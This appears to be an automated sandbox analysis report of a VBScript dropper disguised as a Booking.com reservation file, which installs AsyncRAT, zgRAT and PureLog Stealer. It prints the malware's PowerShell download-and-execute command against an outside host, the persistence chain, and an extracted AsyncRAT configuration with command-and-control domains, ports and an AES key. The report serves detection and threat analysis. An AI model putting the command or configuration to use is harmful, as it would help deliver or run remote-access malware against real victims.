Edit tour

Windows Analysis Report
Reservation Detail Booking.com ID4336.vbs

Overview

General Information

Sample name:	Reservation Detail Booking.com ID4336.vbs
Analysis ID:	1547431
MD5:	016d0fea2d4312dd14cd034ca4817332
SHA1:	0aec6cadd1d5171ff2583251225c7904eef88b28
SHA256:	5c7630fbc4fce5f65a5b6fbc39c5d1234667db27ceb416ed5a71bdf4ab567093
Tags:	skynetx-com-brvbsuser-JAMESWT_MHT
Infos:

Detection

AsyncRAT, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected AsyncRAT

Yara detected Powershell decode and execute

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Drops VBS files to the startup folder

Injects a PE file into a foreign processes

Sigma detected: Execution of Powershell Script in Public Folder

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Connects to many different domains

Connects to several IPs in different countries

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1396 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

chrome.exe (PID: 4440 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4160 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7984 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4008 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5528 --field-trial-handle=1984,i,9762383119870313274,9992457861724981690,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 4592 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke(); MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 3208 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7492 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5676 cmdline: powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

aspnet_regbrowsers.exe (PID: 360 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe" MD5: BB8B6B54FD50C08AB579B84BF07918CF)

wscript.exe (PID: 2292 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2820 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6256 cmdline: powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

aspnet_regbrowsers.exe (PID: 5292 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe" MD5: BB8B6B54FD50C08AB579B84BF07918CF)

wscript.exe (PID: 5384 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2448 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6824 cmdline: powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

aspnet_regbrowsers.exe (PID: 3224 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe" MD5: BB8B6B54FD50C08AB579B84BF07918CF)

svchost.exe (PID: 2724 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

wscript.exe (PID: 3424 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktop.ini.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4752 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2608 cmdline: powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

aspnet_regbrowsers.exe (PID: 1532 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe" MD5: BB8B6B54FD50C08AB579B84BF07918CF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: AsyncRAT

{"Server": "cdt2023.ddns.net,chromedata.accesscam.org,chromedata.webredirect.org,cepas2023.duckdns.org,127.0.0.1,45.40.96.97", "Ports": "6606,7707,8808,3313,3314,9441,9442,9443,2900,1018,2019,2020,2021,5155,6666,9999,5505", "Version": "AWS | 3Losh", "Autorun": "false", "Install_Folder": "%AppData%", "Install_File": "svchost.exe", "AES_key": "JrdGtXYbFZXroXsLKqc1s0Y7ardm5xKr", "Mutex": "AsyncMutex_6SI8OkPnk", "AntiDetection": "false", "External_config_on_Pastebin": "false", "BDOS": "null", "Startup_Delay": "3", "HWID": "1PsVeBGAIf/bjOA2Sw+olEA6i2wbuUnZObLDhhgCdzg/2qM0jZCPw4wyv1dfaJyo4fsjMV9+iRUpHVuc9A51gw==", "Certificate": "MIIE8jCCAtqgAwIBAgIQAPeWQ4YJ3MvReCGwLzn7rTANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjIwNDI1MDA0MTA5WhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKT9nYYTjYTZhY+g1tekZ8/F29gsEIDgf/8odvCbCmYKGGZZi2yND9NjtBXEMANM9PAXCyMapGvapDPbWgjYkLiMw/Vwa3kZRg7kLpXMpzInLQufe7Q587viilcsGDoVXmnf51/SwsKPjSysZUpyayezUlJ1j6aXkZGnasiqJ7iKANdSneQducOn6IwaEuJBmpXKWxhhq8R9JMfiWeOXL/hXoE/wCzwzvU/CrzPXd3uMsLfFMDHZJ+OQ9OXKU/CHZNCgSPs4VSgCgM4eK0YTbu1mLsWSo5th3/ingNFaTyYmGsmLIE2Jq5AR1A+xA+FEdC8zKL1bAwYQcRgIJs7QdedtAIufepPZ9D5HiOiy3ITYVonqwTiiIm20en7UICt+J8iDb4M2Q2iLWA7Yi9PN2cr0Xrs8A4/RL29Qe5Ly2k35i74RiBTiT7Jbl2r7PcYlUGcjTCbdB9PWt3dYaTysuamoq2Zuo2HVRhhoZpwnajS9vNcjuZCYVoQvUQBUnHTeRZrtHXU5JV59ZBlu7flZneMZnbrWXTxob6Bdt8+hrGoSDMWBFcO4jRzhT3hEFUpu4lSFeb9T3Vx4KWkHJhHtMvHuYgDTXERdEcI00sOUbVxgd/62LhGXNNommQKCyiAGj0V5uLD73Fyw8vJpm3jXf3NgNt/CjnlaMc40DJ+HlXE5AgMBAAGjMjAwMB0GA1UdDgQWBBQsT2WvtxGUK29SWs4sHz1xYye0fzAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQCK5sVfnYyT5MqnCg3uHV2ojf12fIVFCY02Cc7gy3DVoE6/xZCPjr22V/xZunZ7DG1nt0kOJKDwdQYnGoMc5UPh8jbNRoc1ojLOCaluaIYQyl8AGkmUSRA3Ltk0XetDescffrWT/nKuRvIEYU4Ra+B39f8ouGMCa7VXaxnGJ0z0BkUie8KsDLgNmJ7/kVfIYuRxl+YefoCsUTCogqf0fu3DuRHBpUVaSQQOf9YCbvFWH7Nupc3UIwpH5D8kSdpKusEfbRp8nfWN/Fm+lzF3THeHU6vNJ+5UoAWHYFW8wfJCbzQ/0L8QZeOv4uy74oQP2Ed0RdrWCwUL6SSsDPZdDEOy4K4vVYkDTl1nL5tleATguELAEbbT42oLce85z4C7sKvpEfa4DPbU55xBLwvHniILFfjB7VVsrgVckUL/lEf4Y92uJVKvLGruQt/mtKSqIuJjD8T9y7RIsk6g9624egV5UtLtv+36kLKhgIJlqC7Xx/PVwMc2yw8BiQlvxQZgqSd1k7QmV1AhV/3z2wqnYmb09ibTMYaMFjtamFegeFqc4jRLABhVQFEFv8z5E6G9vgKn5mQDWS/JykARBv9o2BjL/PTADfwAtc1b4nWo0l+CI8IjjYXu/mJOuwR+kFJ19INtwbffQvT9U12t4smpcZV+OK0opk4Yr9r1tZYm92ghXA==", "ServerSignature": "ic1DyM98ThqA6W2quqV+4LtfJL93dIPZS9ORFCy3Aprb6+WEKwwt1rsgZ5Ra84KjlL9Qa88G83c8kVnI84q94Pt3yoFXOP+06YX+cvIwpMLeSECugCoIf9BDNv9FHA03mf8gBf8fw+wvJQHAorEzuWYCKrGzjCAEyQvLrOQffSlxp6Pip/VkfA2/w87zTcFF+HKZJ1E4sZK+ynabafUM5NgzmlxoVlvzKwQzxezL+uDVVvK90uUPPxo1PErATFzfRlxGVkThWMeHjqYsmcK9RLrifGf86MzMqBkC96HVSqJJuzZrlsYqniXRgwINZzvUvMepaID9ZrkBZzQ/GHUCmuM1LPtBEdaUrLvz+CZ9XZGNpClcDRV3348YVJMZzmIFFQn303j1p47paukKSBC45LW7y1IkZ8wCgOrmsYimSDicAd2PVsAB0TAzhHi+0z0o5nIiHRcVzK93H7uZDQxZBSUp9SoLaeEHbOsjBfDZL2mQik2zmd3GqGUmbxEck75N7pHNpXlUFPib2GE1wR0cG4HDlLRC8KcdStBF6RYxwe0Cp2tgQsgzsKAZbHYspuOxcN9JJRUD+f8k49WccUjJGJ4WzBnporak6mgf0cM2IvVnbs6SKTWkyKSRy8SQhy4evaCD/sCGzE+S9jARvJAFIWIzuZDMI/foGKxjBO/n53Q=", "Group": "FOCO-WINPAX"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x16095a9:$x1: AsyncRAT 0x16095e7:$x1: AsyncRAT

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\1tron.ps1	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000012.00000002.2545216517.0000025DC64F7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000012.00000002.2545216517.0000025DC64F7000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x1df350:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x1e1b18:$a2: Stub.exe 0x1e1ba8:$a2: Stub.exe 0x1db936:$a3: get_ActivatePong 0x1df568:$a4: vmware 0x1df3e0:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x1dc936:$a6: get_SslClient
00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x38a10:$s1: file:/// 0x38948:$s2: {11111-22222-10009-11112} 0x389a0:$s3: {11111-22222-50001-00000} 0x33250:$s4: get_Module 0x35915:$s5: Reverse 0x381ee:$s6: BlockCopy 0x38283:$s7: ReadByte 0x38a24:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
00000019.00000002.2685245996.0000018786848000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000019.00000002.2685245996.0000018786848000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x1ddaf0:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x1e02b8:$a2: Stub.exe 0x1e0348:$a2: Stub.exe 0x1da0d6:$a3: get_ActivatePong 0x1ddd08:$a4: vmware 0x1ddb80:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x1db0d6:$a6: get_SslClient
0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000001E.00000002.2848842485.000001ED13F57000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x1def18:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x1e16e0:$a2: Stub.exe 0x1e1770:$a2: Stub.exe 0x1db4fe:$a3: get_ActivatePong 0x1df130:$a4: vmware 0x1defa8:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x1dc4fe:$a6: get_SslClient
00000012.00000002.4289984236.0000025DD6364000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000E.00000002.2525569057.000002A163308000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000E.00000002.2525569057.000002A163308000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x1deb98:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x1e1360:$a2: Stub.exe 0x1e13f0:$a2: Stub.exe 0x1db17e:$a3: get_ActivatePong 0x1dedb0:$a4: vmware 0x1dec28:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x1dc17e:$a6: get_SslClient
0000000E.00000002.3131786899.000002A173172000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: powershell.exe PID: 2608	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: powershell.exe PID: 5676	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: powershell.exe PID: 6256	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: powershell.exe PID: 6256	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x79d3a:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: powershell.exe PID: 6824	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: powershell.exe PID: 6824	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x766b6:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.powershell.exe.2a1634d9528.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
25.2.powershell.exe.18786a18480.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
30.2.powershell.exe.1ed141288a8.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
25.2.powershell.exe.18786a18480.1.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xb870:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xe038:$a2: Stub.exe 0xe0c8:$a2: Stub.exe 0x7e56:$a3: get_ActivatePong 0xba88:$a4: vmware 0xb900:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x8e56:$a6: get_SslClient
30.2.powershell.exe.1ed141288a8.0.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xb870:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xe038:$a2: Stub.exe 0xe0c8:$a2: Stub.exe 0x7e56:$a3: get_ActivatePong 0xba88:$a4: vmware 0xb900:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x8e56:$a6: get_SslClient
25.2.powershell.exe.18786a18480.1.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xb902:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
14.2.powershell.exe.2a1634d9528.0.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xb870:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xe038:$a2: Stub.exe 0xe0c8:$a2: Stub.exe 0x7e56:$a3: get_ActivatePong 0xba88:$a4: vmware 0xb900:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x8e56:$a6: get_SslClient
30.2.powershell.exe.1ed141288a8.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xb902:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
14.2.powershell.exe.2a1634d9528.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xb902:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
14.2.powershell.exe.2a173272d80.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
14.2.powershell.exe.2a173272d80.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.powershell.exe.187865b0000.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
25.2.powershell.exe.187865b0000.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.powershell.exe.2a173272d80.1.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x36c10:$s1: file:/// 0x36b48:$s2: {11111-22222-10009-11112} 0x36ba0:$s3: {11111-22222-50001-00000} 0x31450:$s4: get_Module 0x33b15:$s5: Reverse 0x363ee:$s6: BlockCopy 0x36483:$s7: ReadByte 0x36c24:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
25.2.powershell.exe.187865b0000.0.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x38a10:$s1: file:/// 0x38948:$s2: {11111-22222-10009-11112} 0x389a0:$s3: {11111-22222-50001-00000} 0x33250:$s4: get_Module 0x35915:$s5: Reverse 0x381ee:$s6: BlockCopy 0x38283:$s7: ReadByte 0x38a24:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
18.2.powershell.exe.25dd6464380.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
18.2.powershell.exe.25dd6464380.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
18.2.powershell.exe.25dd6464380.1.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x36c10:$s1: file:/// 0x36b48:$s2: {11111-22222-10009-11112} 0x36ba0:$s3: {11111-22222-50001-00000} 0x31450:$s4: get_Module 0x33b15:$s5: Reverse 0x363ee:$s6: BlockCopy 0x36483:$s7: ReadByte 0x36c24:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
18.2.powershell.exe.25dc66c8ce0.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
18.2.powershell.exe.25dc66c8ce0.0.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xb870:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xe038:$a2: Stub.exe 0xe0c8:$a2: Stub.exe 0x7e56:$a3: get_ActivatePong 0xba88:$a4: vmware 0xb900:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x8e56:$a6: get_SslClient
18.2.powershell.exe.25dc66c8ce0.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xb902:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
25.2.powershell.exe.187865b0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
25.2.powershell.exe.187865b0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
25.2.powershell.exe.187865b0000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x36c10:$s1: file:/// 0x36b48:$s2: {11111-22222-10009-11112} 0x36ba0:$s3: {11111-22222-50001-00000} 0x31450:$s4: get_Module 0x33b15:$s5: Reverse 0x363ee:$s6: BlockCopy 0x36483:$s7: ReadByte 0x36c24:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
18.2.powershell.exe.25dd6464380.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
18.2.powershell.exe.25dd6464380.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
18.2.powershell.exe.25dd6464380.1.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x38a10:$s1: file:/// 0x38948:$s2: {11111-22222-10009-11112} 0x389a0:$s3: {11111-22222-50001-00000} 0x33250:$s4: get_Module 0x35915:$s5: Reverse 0x381ee:$s6: BlockCopy 0x38283:$s7: ReadByte 0x38a24:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
14.2.powershell.exe.2a173272d80.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
14.2.powershell.exe.2a173272d80.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
